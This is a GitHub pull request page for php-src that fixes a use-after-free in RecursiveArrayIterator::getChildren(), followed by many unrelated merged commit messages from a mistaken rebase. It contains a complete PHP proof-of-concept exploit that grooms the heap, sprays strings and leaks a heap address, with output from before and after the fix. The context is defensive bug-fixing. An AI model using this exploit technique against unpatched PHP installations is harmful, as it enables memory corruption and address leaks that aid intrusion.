Skip to content

Fix Use-After-Free in RecursiveArrayIterator::getChildren()#21516

Closed
LamentXU123 wants to merge 4516 commits intophp:PHP-8.4from
LamentXU123:UAF-fix-1
Closed

Fix Use-After-Free in RecursiveArrayIterator::getChildren()#21516
LamentXU123 wants to merge 4516 commits intophp:PHP-8.4from
LamentXU123:UAF-fix-1

Conversation

@LamentXU123
Copy link
Contributor

@LamentXU123 LamentXU123 commented Mar 25, 2026

fix #21499
using EXP from the issue to test

<?php
ini_set('memory_limit', '-1');

function get_payload($len) {
    return str_repeat("\x00", $len);
}

// Flush memory to force reallocation.
// This is primarily to bypass ASAN quarantine (256MB by default).
// For standard builds, this is harmless but ensures a clean heap state.
function flush_quarantine() {
    $junk = [];
    // 300 chunks of 1MB
    for ($i = 0; $i < 300; $i++) {
        $s = str_repeat("J", 1024 * 1024);
        $s = null; // Free immediately
    }
}

echo "[*] Starting UAF Leak PoC...\n";
echo "[*] PHP Version: " . PHP_VERSION . "\n";

$ATTEMPTS = 5;
// Target sizes:
// 100: Found via fuzzing (Common in system allocator / ASAN builds)
// 231: Standard 256-byte bin for Zend Allocator
// We also include neighbors to handle alignment variations.
$TARGET_LENS = [100, 231, 231-16, 231+16, 103, 111];

$success = false;

for ($attempt = 0; $attempt < $ATTEMPTS; $attempt++) {
    echo "[-] Attempt " . ($attempt + 1) . "...\n";
    
    // 1. Heap Grooming
    $parents = [];
    $children = [];
    
    // Create pairs. 
    // [0 => "pad", 1 => [1]]. 
    // We target index 1.
    for ($i = 0; $i < 20; $i++) {
        $parents[$i] = new RecursiveArrayIterator([0 => "pad", 1 => [1]]);
        $parents[$i]->next();
        $children[$i] = $parents[$i]->getChildren();
    }
    
    // 2. Free Parents
    // This puts chunks into the freelist (or quarantine if ASAN is active).
    foreach ($parents as $i => $p) {
        unset($parents[$i]);
    }
    $parents = null;
    
    // 3. Flush Memory / Quarantine
    // Necessary for ASAN to evict chunks from quarantine.
    // Also helps stabilize heap on standard builds.
    flush_quarantine();
    
    // 4. Spray Strings
    $protector = [];
    foreach ($TARGET_LENS as $len) {
        // Spray enough to catch the slot
        for ($j = 0; $j < 10; $j++) {
             $protector[] = get_payload($len);
        }
    }
    
    // 5. Trigger UAF
    $arr = [1, 2, 3];
    foreach ($children as $c) {
        try {
            $c->__construct($arr);
        } catch (Throwable $e) {}
    }
    
    // 6. Check for Leak
    foreach ($protector as $k => $v) {
        // If string is modified, we won!
        if ($v !== get_payload(strlen($v))) {
            echo "[+] SUCCESS! UAF Triggered.\n";
            echo "[+] String index: $k, Length: " . strlen($v) . "\n";
            
            // Find the modification
            for ($pos = 0; $pos < strlen($v) - 8; $pos += 8) {
                $chunk = substr($v, $pos, 8);
                if ($chunk !== "\x00\x00\x00\x00\x00\x00\x00\x00") {
                    // This is likely the address
                    $addr = unpack("Q", $chunk)[1];
                    printf("[*] Leaked Address at offset %d: 0x%x\n", $pos, $addr);
                    
                    // Check next 8 bytes for type info if available
                    if ($pos + 16 <= strlen($v)) {
                         $type_info = unpack("I", substr($v, $pos + 8, 4))[1];
                         printf("[*] Type Info: 0x%x\n", $type_info);
                    }
                    
                    $success = true;
                    break 2; // Break string loop
                }
            }
            break; // Should break via above, but just in case
        }
    }
    
    if ($success) break;
    
    // Cleanup
    $protector = null;
    $children = null;
    gc_collect_cycles();
}

if (!$success) {
    echo "[-] Failed to leak address.\n";
    exit(1);
}
?>

before

└─$ ./sapi/cli/php ../../poc.php
[*] Starting UAF Leak PoC...
[*] PHP Version: 8.6.0-dev
[-] Attempt 1...
[+] SUCCESS! UAF Triggered.
[+] String index: 2, Length: 100
[*] Leaked Address at offset 0: 0x7f1e70401d20
[*] Type Info: 0x307

after

└─$ ./sapi/cli/php ../../poc.php
[*] Starting UAF Leak PoC...
[*] PHP Version: 8.6.0-dev
[-] Attempt 1...
[-] Attempt 2...
[-] Attempt 3...
[-] Attempt 4...
[-] Attempt 5...
[-] Failed to leak address.

iluuu1994 and others added 30 commits February 24, 2026 12:59
* PHP-8.5:
  Fix benchmarking head sha
  Fix ccache for alpine and msan
  Fix coverage label job selection
  Fix ccache for coverage and pecl builds
* PHP-8.5:
  Update IR (php#21288)
* PHP-8.5:
  PHP-8.5 is now for PHP 8.5.5-dev
* PHP-8.4:
  Fix preloaded constant erroneously propagated to file-cached script
* PHP-8.5:
  Fix preloaded constant erroneously propagated to file-cached script
* PHP-8.5:
  Fix missed php_version changes
* PHP-8.4:
  ext/pcre: preg_match() fix memory leak with invalid regexes.
* PHP-8.5:
  ext/pcre: preg_match() fix memory leak with invalid regexes.
* PHP-8.4:
  php_version.h: remove trailing whitespace
* PHP-8.5:
  php_version.h: remove trailing whitespace
* PHP-8.5:
  Update IR
… error (php#21260)

When a PCRE execution error occurs (e.g. malformed UTF-8 with /u
modifier), preg_grep() was returning a partial result array containing
only the entries processed before the error. All other preg_* functions
return false on execution errors.

After the match loop, check PCRE_G(error_code) and if an error
occurred, destroy the partial array and return false instead.

Fixes phpGH-11936
Instead of hardcoding the file extensions for shared PHP extensions
(which in most cases are '.so', or '.dll'), this uses file extension for
the current PHP build as it was defined during the configure/build
phase. There can be systems where some other file extension is used for
shared modules.
internal refactorings:

- pcntl_signal_get_handler() max signals handling simplification,
 reusing the num_signals global.
- pcntl_alarm() accepts a zend_long (signed) but passes it to alarm(),
which takes an unsigned int. Negative values silently wrap to large
unsigned values, scheduling an alarm far in the future instead of
raising an error. Also reject large values above unsigned long
max value.

close phpGH-21282
* PHP-8.4:
  ext/pcre: fix memory leaks on error paths
* PHP-8.5:
  ext/pcre: fix memory leaks on error paths
* PHP-8.5:
  ext/pcre: fix new pcre2 test
Add support for new functions present in recent libsodium versions:

- Functions for IP address encryption:
  - sodium_crypto_ipcrypt_*
  - sodium_bin2ip/sodium_ip2bin helpers

- Extendable output functions:
  - SHAKE128/SHAKE256
  - TurboSHAKE128/TurboSHAKE256
* PHP-8.4:
  [CI][skip ci] Fix benchmarking summary
* PHP-8.5:
  [CI][skip ci] Fix benchmarking summary
* PHP-8.4:
  Make one linux job run function jit on push
* PHP-8.5:
  Make one linux job run function jit on push
@LamentXU123
Copy link
Contributor Author

I don't even know why we are holding the bucket instead of just the HashTable :/

I think it stores Bucket_* because it wants to update one exact element in the parent table instead of the whole HashTable.

@LamentXU123
Copy link
Contributor Author

Oh my bad it seems like I rebase this wrong since I click the wrong button. I will reopen this PR >_<

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Use-After-Free in RecursiveArrayIterator::getChildren()